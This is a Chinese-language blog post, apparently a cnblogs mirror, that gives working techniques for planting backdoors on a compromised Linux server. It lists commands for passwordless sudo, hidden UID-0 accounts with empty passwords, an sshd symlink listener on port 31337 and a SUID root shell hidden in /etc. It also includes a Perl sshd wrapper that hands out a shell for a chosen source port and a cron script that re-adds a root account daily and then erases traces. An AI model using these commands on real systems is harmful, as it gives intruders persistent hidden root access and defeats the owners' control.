zoukankan      html  css  js  c++  java
  • Linux后门账户控制

    赋予用户sudo权限

    vi /etc/sudoers

    添加如下一行:
      USER ALL=(ALL) NOPASSWD: ALL

    (实现当前用户允许转换成任意用户及执行任意命令)

    添加root权限账户

    (1)命令添加法

    useradd -u 0 -o -g root -G root -d -s /bin/sh testing2

    创建帐号:
    # useradd [-u UID] [-g GID] [-d HOME] [-mM] [-s shell] username
    参数说明:
    -u :直接给予一个 UID 。指将uid指定为0(零)与root相同
    -g :直接给予一个 GID (此 GID 必须已经存在于 /etc/group 当中)
    -d :直接将用户家目录指向已经存在的目录
    -M :不建立家目录
    -s :定义其使用的 shell

    -o :如果重复了uid(如与root帐号的uid重复)必须指定这个参数.

      pkill -kill -t 用户名    //踢出用户

    (2)修改文件法

    /etc/passwd各部分含义:

    用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL

    /et/shadow各部分含义:

    用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用 

    vi /etc/passwd 添加一行:  testing3:x:0:0::/:/bin/bash
    vi /etc/shadow 添加一行:  testing3::17068:0:99999:7:::

     验证测试

    测试:可以用id testing1命令测试用户名testing1的属性

    显示为:uid=0(root),gid=0(root),group=0(root)

    快速获得ssh后门
    在远程主机上执行:
    #ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;
    派生一个31337端口,然后连接31337,用root/bin/ftp/mail当用户名,密码随意,就可登陆。

    SUID shell

    cp /bin/sh /etc/.scs & chmod 4755 /etc/.scs

    普通用户执行 ./etc/.scs -p 即可获得root shell。

    find / -perm +4000 -ls(查找那些具有 SUID 的文件)

    远程后门:
    利用 /etc/inetd.conf

    #SSH wrapper backdoor
    cd /usr/sbin && mv sshd ../bin
    echo '#!/usr/bin/sh exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/); exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' > sshd
    chmod u+x sshd
    /etc/init.d/sshd restart
    #控制端:socat STDIOTCP4:target_ip:22,sourceport=19526

    (3)自动化脚本

    (http://blog.csdn.net/yxyhack/article/details/1799791)

    #!/bin/bash  #shell程序的开头标志
    echo '40 11 * * * cat /etc/passwd > /dev/ttypwd' >> /etc/door.cron;
    echo '40 11 * * * cat /etc/shadow > /dev/ttysdw' >> /etc/door.cron;
    echo '41 11 * * * echo "musicyxy:x:0:0::/:/bin/sh" >> /etc/passwd' >> /etc/door.cron;
    echo '41 11 * * * echo "musicyxy::9999:0:99999:7:::" >> /etc/shadow' >> /etc/door.cron;
    echo '09 12 * * * cat /dev/ttypwd > /etc/passwd' >> /etc/door.cron;
    echo '09 12 * * * cat /dev/ttysdw > /etc/shadow' >> /etc/door.cron;
    echo '10 12 * * * rm -f /dev/ttypwd' >> /etc/door.cron;
    echo '10 12 * * * rm -f /dev/ttysdw' >> /etc/door.cron;
    service crond restart;
    crontab /etc/door.cron;

    第二行是将" 40 11 * * * cat /etc/passwd > /dev/ttypwd " 这段信息追加到/etc/door.cron文件中。
    /etc/door.cron是用户自定义的crontab列表文件,任务计划就是依据这个文件的内容来执行的。
    编写格式:  * * * * * command
    前面的5个星分别代表分钟(0~59),小时(0~23),日期(1~31),月份(1~12),星期(0~6),星后面加要执行的命令。
    那么第二行所代表的意思就是在每天的11点40分运行cat /etc/passwd > /dev/ttypwd,以此类推,运行到最后一行就是利用crontab命令让文件生效。

    拓展阅读

    linux设置开启执行命令:http://www.cnblogs.com/ssooking/p/6094740.html

     http://www.tuicool.com/articles/eIv22az

  • 相关阅读:
    python https请求报错:SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED]
    python打包为exe文件
    文件自定义扫描工具
    pandas 的常用方法
    cisco应用
    Cisco 模拟配置
    python 识别图片上的数字
    OpenSSL
    OpenSSL
    OpenSSL
  • 原文地址:https://www.cnblogs.com/ssooking/p/5939711.html
Copyright © 2011-2022 走看看